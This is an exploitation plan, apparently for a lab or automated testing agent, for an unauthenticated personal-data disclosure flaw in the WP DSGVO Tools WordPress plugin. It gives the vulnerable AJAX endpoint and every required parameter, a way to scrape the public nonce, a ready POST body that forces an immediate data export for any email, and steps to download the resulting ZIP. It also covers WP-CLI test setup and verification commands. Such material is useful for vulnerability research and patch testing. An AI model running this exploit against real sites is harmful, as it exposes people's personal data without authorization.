Exploitation Research Plan: CVE-2026-10034

1. Vulnerability Summary

Vulnerability: Missing Authorization to Unauthenticated Sensitive Personal Data Disclosure.
Component: WP DSGVO Tools (GDPR) plugin, specifically the Subject Access Request (SAR) AJAX handling logic.
Vulnerable Version: <= 3.1.39.
Root Cause: The SPDSGVOSubjectAccessRequestAction class, which handles the subject-access-request AJAX action, lacks sufficient authorization and identity verification. While it implements a CSRF check, the nonce required is rendered on public-facing pages to unauthenticated users and is not tied to a specific user session or email address. By providing the process_now and is_ajax parameters, an attacker can force the plugin to immediately generate a data export for any email address and return the download links directly in the AJAX response.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: subject-access-request (both wp_ajax_ and wp_ajax_nopriv_ are likely registered via the SPDSGVOAjaxAction::listen() mechanism).
• Authentication: Unauthenticated.
• Parameters:
  • action: subject-access-request (Required)
  • email: The target victim's email address (Required)
  • dsgvo_checkbox: Must be 1 (Required)
  • process_now: Must be 1 to trigger immediate data collection (Required)
  • is_ajax: Must be 1 to receive the links in the JSON response (Required)
  • nonce (or _wpnonce): A valid nonce for the subject-access-request action (Required)
  • website: Must be empty (Honeypot check)
  • first_name/last_name: Arbitrary strings.

3. Code Flow

1. Entry Point: An unauthenticated POST request is sent to admin-ajax.php with action=subject-access-request.
2. Action Initialization: SPDSGVOSubjectAccessRequestAction::listen() (in public/shortcodes/subject-access-request/subject-access-request-action.php) triggers the run() method.
3. Honeypot Check: if(!empty($_POST['website'])) die(); ensures the honeypot field is empty.
4. CSRF Check: $this->checkCSRF(); validates the provided nonce. Since the nonce is generated for uid=0 on public pages, any visitor can obtain a valid one.
5. Data Insertion: SPDSGVOSubjectAccessRequest::insert() creates a new SAR record in the database.
6. Immediate Processing: Because process_now is present, $sar->doSubjectAccessRequest($displayEmail) is called in includes/models/subject-access-request.php.
   • This calls SPDSGVODataCollecter->sar(), which aggregates WordPress user data, comments, and metadata associated with the provided email.
   • It generates PDF and JSON files in the wp-content/uploads directory.
7. JSON Response: Because is_ajax is present, the plugin executes:

   echo wp_json_encode(array(
       'success'   => '1',
       'zip_link'  => SPDSGVODownloadSubjectAccessRequestAction::url(...),
       'pdf_link'  => SPDSGVODownloadSubjectAccessRequestAction::url(...),
   ));
   

8. Data Disclosure: The attacker receives the zip_link containing a tokenized URL to download the victim's personal data.

4. Nonce Acquisition Strategy

The nonce is required to pass the checkCSRF() gate.

1. Identify Shortcode: The plugin uses the shortcode [subject-access-request] (inferred from file structure) to render the SAR form.
2. Create Trigger Page: Use WP-CLI to create a public page containing this shortcode.

   wp post create --post_type=page --post_status=publish --post_title="GDPR Request" --post_content='[subject-access-request]'
   

3. Extract Nonce:
   • Navigate to the newly created page.
   • The plugin likely uses wp_localize_script to provide the AJAX URL and nonce to the frontend.
   • Based on standard patterns in this plugin, inspect the global JavaScript objects.
   • Recommended JS Eval: browser_eval("window.sp_dsgvo_data?.nonce") or inspecting the hidden input field in the form: browser_eval("document.querySelector('input[name=\"nonce\"]').value").
   • The action string used for generation is subject-access-request.

5. Exploitation Strategy

1. Pre-requisite: Obtain the nonce from the public shortcode page.
2. Trigger SAR: Send a POST request to the AJAX endpoint.
   • Tool: http_request
   • URL: {{base_url}}/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=subject-access-request&email=victim@example.com&dsgvo_checkbox=1&process_now=1&is_ajax=1&nonce={{extracted_nonce}}&website=&first_name=Attacker&last_name=Researcher
     

3. Capture Links: Parse the JSON response to extract the zip_link or pdf_link.
4. Download Data: Perform a GET request to the extracted zip_link to retrieve the SAR package.

6. Test Data Setup

1. Create Victim User:

   wp user create victim victim@example.com --role=subscriber --user_pass=password123
   

2. Add Victim Data:

   wp comment create --comment_post_ID=1 --comment_author="Victim User" --comment_author_email="victim@example.com" --comment_content="This is sensitive personal information."
   

3. Deploy Shortcode: (As described in Section 4)

   wp post create --post_type=page --post_status=publish --post_content='[subject-access-request]'
   

7. Expected Results

• The AJAX POST request should return a 200 OK with a JSON body.
• Example Response:

  {
    "success": "1",
    "zip_link": "http://localhost:8080/wp-admin/admin-ajax.php?action=download-subject-access-request&token=XXXXXXXXXXXX&file=zip",
    "pdf_link": "http://localhost:8080/wp-admin/admin-ajax.php?action=download-subject-access-request&token=XXXXXXXXXXXX&file=pdf"
  }
  

• Accessing the zip_link should initiate a file download of a ZIP archive containing a PDF with the victim's comment and user metadata.

8. Verification Steps

1. Check Uploads Directory: Verify the SAR files were created.

   ls -R wp-content/uploads/ | grep SAR
   

2. Verify SAR Record: Check the subjectaccessrequest post type in the database.

   wp post list --post_type=subjectaccessrequest --fields=ID,post_title,post_status
   

3. Confirm Content: Use curl or a browser to download the file from the zip_link and verify it contains "This is sensitive personal information."

9. Alternative Approaches

• Token Prediction: If the AJAX response is suppressed, note that the token is generated using self::randomString(20) in includes/models/subject-access-request.php. While 20 characters of 0-9a-zA-Z is generally secure, the process_now path is the primary bypass as it returns the token directly.
• Display Email Parameter: The doSubjectAccessRequest method accepts a $displayEmail parameter. If display_email=1 is passed in the POST request, the plugin may echo the entire email content (rendered via wp_kses_post($email->render())) directly into the AJAX response, providing another channel for data disclosure.